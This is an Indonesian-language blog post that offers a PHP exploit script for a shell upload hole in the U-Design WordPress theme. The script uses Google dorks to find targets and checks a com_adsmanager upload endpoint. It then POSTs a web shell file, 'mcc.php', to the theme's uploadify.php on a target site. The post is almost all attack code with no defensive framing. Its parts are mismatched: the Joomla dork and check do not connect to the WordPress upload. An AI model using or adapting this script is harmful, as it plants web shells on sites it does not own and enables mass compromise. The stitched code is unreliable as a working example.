Exploit U-Design Themes Vulnerability Shell Upload ~ Xmedia

hai ^_^

Pada kesempatan kali ini saya akan share Exploit U-Design Themes Vulnerability Shell Upload

<?php
    set_time_limit(0);
    ini_set('memory_limit', '64M');
    header('Content-Type: text/html; charset=UTF-8');
    
    function letItBy() { 
        ob_flush();
        flush(); 
    }
    function google_that($query, $page=1){
        $resultPerPage=8;
        $start = $page*$resultPerPage;
        $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw[&key=API_KEY_GOOGLE]&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query); // kalo punya google api bisa di pake "&key=API_KEY_GOOGLE" kalo tidak punya bisa dihapus aja bagian itunya, gua saranin pake google api key biar resultnya Jos kgk kena google captcha
        $resultFromGoogle = json_decode( http_get($url, true) ,true);
        if(isset($resultFromGoogle['responseStatus'])) {
            if($resultFromGoogle['responseStatus'] != '200') return false;
            if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false;
            else return $resultFromGoogle['responseData']['results'];
        } else
            die('The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $url );

}
    function http_get($url, $safemode = false){
        if($safemode === true) sleep(1);
        $im = curl_init($url);
        curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($im, CURLOPT_HEADER, 0);
        return curl_exec($im);
        curl_close();
    }
    function check_injection($url){
        $data = http_get( str_replace("=com_adsmanager", "=com_adsmanager&task=upload&tmpl=component", $url) );
        return preg_match('/"jsonrpc" : "2.0", "result" : null, "id" : "id","tmpfile"/', $data);
    }
?>
<!DOCTYPE html>
<style type="text/css">
a {
    text-decoration: none;
    color: green;
}
</style>
<form method="post">
            Dork: 
            <input style="border: 1px dashed #000; background: transparent; color: #bb0000; padding-left: 5px;" type="text" id="dork" name="dork" value="inurl:/index.php?option=com_adsmanager" />
            <input style="border: 1px dashed #000; background: transparent; color: #bb0000;" type="submit" value="Start" id="button"/>
        </form>
<?php
$uploadfile="mcc.php";
$ch = curl_init("http://bib.com/wp-content/themes/u-design/scripts/admin/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
              array('Filedata'=>"@$uploadfile",
              'folder'=>'/wp-content/themes/u-design/scripts/admin/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
  print "$postResult";
?>

Sumber : http://mujahidincyberarmy.blogspot.com/2015/07/exploit-u-design-themes-vulnerability.html#ixzz3hwdQTsQ5
        </div>
</body>
</html>